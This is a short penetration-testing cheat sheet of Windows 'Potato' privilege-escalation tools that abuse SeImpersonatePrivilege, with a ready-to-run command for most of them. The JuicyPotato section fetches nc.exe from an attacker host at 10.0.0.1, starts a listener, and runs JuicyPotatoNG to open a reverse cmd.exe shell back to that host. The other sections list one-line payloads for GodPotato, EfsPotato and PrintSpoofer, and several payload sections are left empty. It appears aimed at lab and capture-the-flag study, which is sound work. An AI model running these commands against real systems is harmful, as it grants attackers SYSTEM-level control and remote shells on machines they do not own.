# LocalPotato ### EfsPotato #### Required Privilege * `SeImpersonatePrivilege` #### Payloads * ``` EfsPotato "cmd.exe /c whoami" ``` ### GodPotato #### Required Privileges * `SeImpersonatePrivilege` #### Payloads * ``` GodPotato -cmd "cmd /c whoami" ``` ### JuicyPotato #### Required Privilege * `SeImpersonatePrivilege` or `SeAssignPrimaryToken` #### Payloads * * Before exploiting, we need to upload **`nc.exe`** (it is available from [here](https://github.com/int0x33/nc.exe/)) to the target machine. ``` Invoke-WebRequest -Uri http://10.0.0.1:8000/nc.exe -OutFile c:\Temp\nc.exe ``` Next start a listener in local machine. ``` nc -lvnp 4444 ``` Then execute **`JuicyPotato`** in target machine. ``` JuicyPotatoNG.exe -t * -p "c:\Temp\nc.exe" -a "10.0.0.1 4444 -e cmd.exe" ``` ### PrintSpoofer #### Required Privilege * `SeImpersonatePrivilege` #### Payloads * ``` PrintSpoofer.exe -i -c cmd ``` ### RoguePotato #### Required Privilege * `SeImpersonatePrivilege` #### Payloads * ### RottenPotato #### Required Privilege * `SeImpersonatePrivilege` #### Payloads * ### References * [jlajara](https://jlajara.gitlab.io/Potatoes_Windows_Privesc) * [decoder-it](https://github.com/decoder-it/LocalPotato) * [LocalPotato](https://www.localpotato.com/localpotato_html/LocalPotato.html) * [TryHackMe](https://tryhackme.com/room/localpotato) * [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer) * [FoxGlove Security](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)